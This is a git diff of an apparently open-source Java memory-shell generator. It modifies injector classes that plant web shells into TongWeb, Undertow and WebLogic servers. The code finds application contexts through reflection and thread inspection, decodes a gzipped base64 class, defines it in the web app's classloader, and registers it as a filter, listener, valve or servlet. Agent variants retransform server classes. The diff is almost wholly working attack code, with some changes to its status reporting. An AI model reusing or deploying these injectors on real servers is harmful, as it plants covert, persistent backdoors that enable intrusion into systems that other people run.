throws Exception { for (String targetClass : TARGET_CLASSES) { if (targetClass.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at " + name + ".invoke"); } } } @@ -68,6 +67,7 @@ protected ClassLoader getClassLoader() { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java index 8b10b822..9b3140a4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java @@ -45,7 +45,6 @@ private static void launch(Instrumentation inst) throws Exception { for (String targetClass : TARGET_CLASSES) { if (targetClass.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at " + name + ".doFilter"); } } } @@ -68,6 +67,7 @@ protected ClassLoader getClassLoader() { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java index fa0c3627..7fc1acea 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -10,14 +11,14 @@ import java.util.HashSet; import java.util.Map; import java.util.Set; -import java.util.logging.Logger; import java.util.zip.GZIPInputStream; /** * @author ReaJason */ public class TongWebFilterInjector { - Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName()); + + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -32,15 +33,42 @@ public String getBase64String() { } public TongWebFilterInjector() { + Set contexts = null; try { - Set contexts = getContext(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } } - } catch (Exception e) { - e.printStackTrace(); } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } /** @@ -86,21 +114,22 @@ private ClassLoader getWebAppClassLoader(Object context) { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object filter) throws Exception { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - logger.warning("filter already injected"); return; } String filterClassName = getClassName(); @@ -137,7 +166,11 @@ public void inject(Object context, Object filter) throws Exception { Object filterConfig = constructor.newInstance(context, filterDef); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); filterConfigs.put(filterClassName, filterConfig); - logger.info("filter inject success"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -212,6 +245,22 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java index e157620e..93e89ad5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -13,17 +14,7 @@ */ public class TongWebListenerInjector { - public TongWebListenerInjector() { - try { - Set contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -33,6 +24,45 @@ public String getBase64String() { return "{{base64Str}}"; } + public TongWebListenerInjector() { + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public Set getContext() throws Exception { Set contexts = new HashSet<>(); Set threads = Thread.getAllStackTraces().keySet(); @@ -64,15 +94,17 @@ private ClassLoader getWebAppClassLoader(Object context) { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") @@ -81,7 +113,6 @@ public void inject(Object context, Object listener) throws Exception { List listeners = Arrays.asList(objects); for (Object o : listeners) { if (o.getClass().getName().contains(getClassName())) { - System.out.println("listener already injected"); return; } } @@ -101,6 +132,11 @@ public void inject(Object context, Object listener) throws Exception { } } + @Override + public String toString() { + return msg; + } + @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; @@ -145,7 +181,7 @@ public static Field getField(Object obj, String name) throws NoSuchFieldExceptio } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @@ -193,4 +229,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java index 2602a874..1881a8db 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -13,17 +14,7 @@ */ public class TongWebValveInjector { - public TongWebValveInjector() { - try { - Set contexts = getContext(); - for (Object context : contexts) { - Object valve = getShell(context); - inject(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -33,6 +24,45 @@ public String getBase64String() { return "{{base64Str}}"; } + public TongWebValveInjector() { + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public Set getContext() throws Exception { Set contexts = new HashSet<>(); Set threads = Thread.getAllStackTraces().keySet(); @@ -64,23 +94,28 @@ private ClassLoader getWebAppClassLoader(Object context) { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object valve) throws Exception { Object pipeline = invokeMethod(context, "getPipeline", null, null); - if (isInjected(pipeline)) { - System.out.println("valve already injected"); - return; + Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); + List valvesList = Arrays.asList(valves); + for (Object v : valvesList) { + if (v.getClass().getName().contains(getClassName())) { + return; + } } Class valveClass = null; ClassLoader contextClassLoader = context.getClass().getClassLoader(); @@ -97,22 +132,13 @@ public void inject(Object context, Object valve) throws Exception { } } invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); - System.out.println("valve injected successfully"); } - @SuppressWarnings("all") - public boolean isInjected(Object pipeline) throws Exception { - Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); - List valvesList = Arrays.asList(valves); - for (Object valve : valvesList) { - if (valve.getClass().getName().contains(getClassName())) { - return true; - } - } - return false; + @Override + public String toString() { + return msg; } - @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; @@ -159,7 +185,7 @@ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldEx } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -187,4 +213,20 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java index 48cb1c10..cbdf367d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java @@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -14,17 +15,7 @@ * @author ReaJason */ public class UndertowFilterInjector { - public UndertowFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -38,6 +29,45 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } + public UndertowFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -67,20 +97,21 @@ private ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } public void inject(Object context, Object filter) throws Exception { if (isInjected(context)) { - System.out.println("filter already injected"); return; } Class filterInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.FilterInfo"); @@ -91,7 +122,6 @@ public void inject(Object context, Object filter) throws Exception { Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null); invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST}); - System.out.println("filter inject success"); } @SuppressWarnings("unchecked") @@ -110,6 +140,11 @@ public boolean isInjected(Object context) throws Exception { return false; } + @Override + public String toString() { + return msg; + } + @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; @@ -154,7 +189,7 @@ public static Field getField(Object obj, String name) throws NoSuchFieldExceptio } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @@ -196,4 +231,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java index c760f68f..707b7ba0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; @@ -17,16 +18,45 @@ */ public class UndertowListenerInjector { + private String msg = ""; + public UndertowListenerInjector() { + List contexts = null; try { - List contexts = getContext(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } } - } catch (Exception e) { - e.printStackTrace(); } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } public String getClassName() { @@ -65,21 +95,30 @@ private ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } public void inject(Object context, Object listener) throws Exception { - if (isInjected(context)) { - System.out.println("listener already injected"); - return; + List allListeners = (List) getFieldValue(getFieldValue(getFieldValue(context, "deployment"), "applicationListeners"), "allListeners"); + if (allListeners != null) { + for (Object allListener : allListeners) { + Class l = (Class) getFieldValue(getFieldValue(allListener, "listenerInfo"), "listenerClass"); + if (l != null) { + if (l.getName().contains(getClassName())) { + return ; + } + } + } } Class listenerInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.ListenerInfo"); Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass()); @@ -88,25 +127,13 @@ public void inject(Object context, Object listener) throws Exception { Class managedListenerClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.core.ManagedListener"); Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true); invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener}); - System.out.println("listener inject success"); } - public boolean isInjected(Object context) throws Exception { - List allListeners = (List) getFieldValue(getFieldValue(getFieldValue(context, "deployment"), "applicationListeners"), "allListeners"); - if (allListeners != null) { - for (Object allListener : allListeners) { - Class listener = (Class) getFieldValue(getFieldValue(allListener, "listenerInfo"), "listenerClass"); - if (listener != null) { - if (listener.getName().contains(getClassName())) { - return true; - } - } - } - } - return false; + @Override + public String toString() { + return msg; } - @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; @@ -152,7 +179,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -181,4 +208,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java index 82ae0330..0b99ca00 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java @@ -40,7 +40,6 @@ private static void launch(Instrumentation inst) throws Exception { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest"); } } } @@ -61,6 +60,7 @@ protected ClassLoader getClassLoader() { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Throwable e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java index 38bdd294..a3edb883 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; @@ -17,17 +18,7 @@ */ public class UndertowServletInjector { - public UndertowServletInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object servlet = getShell(context); - inject(context, servlet); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -41,6 +32,45 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } + public UndertowServletInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -69,15 +99,17 @@ private ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } public void inject(Object context, Object servlet) throws Exception { @@ -85,7 +117,6 @@ public void inject(Object context, Object servlet) throws Exception { Object managedServlets = invokeMethod(deploymentImpl, "getServlets", null, null); Object servletHandler = invokeMethod(managedServlets, "getServletHandler", new Class[]{String.class}, new Object[]{getClassName()}); if (servletHandler != null) { - System.out.println("servlet already injected"); return; } @@ -100,7 +131,11 @@ public void inject(Object context, Object servlet) throws Exception { Object servletPaths = invokeMethod(deploymentImpl, "getServletPaths", null, null); Object data = invokeMethod(servletPaths, "setupServletChains", null, null); setFieldValue(servletPaths, "data", data); - System.out.println("servlet inject success"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -147,7 +182,7 @@ public static Field getField(Object obj, String name) throws NoSuchFieldExceptio } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @@ -195,4 +230,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java index 6b6eda18..7381ad12 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -14,6 +15,8 @@ */ public class WebLogicFilterInjector { + private String msg = ""; + public String getUrlPattern() { return "{{urlPattern}}"; } @@ -27,15 +30,42 @@ public String getBase64String() throws IOException { } public WebLogicFilterInjector() { + Set contexts = null; try { - Object[] contexts = getContext(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } } - } catch (Exception e) { - e.printStackTrace(); } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } public static Object[] getContextsByMbean() throws Throwable { @@ -117,7 +147,7 @@ public static Object[] getContextsByThreads() throws Throwable { * /opt/oracle/wls1036/server/lib/weblogic.jar * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar */ - public static Object[] getContext() { + public static Set getContext() { Set webappContexts = new HashSet(); try { webappContexts.addAll(Arrays.asList(getContextsByMbean())); @@ -127,7 +157,7 @@ public static Object[] getContext() { webappContexts.addAll(Arrays.asList(getContextsByThreads())); } catch (Throwable ignored) { } - return webappContexts.toArray(); + return webappContexts; } public ClassLoader getWebAppClassLoader(Object context) throws Exception { @@ -141,22 +171,26 @@ public ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, 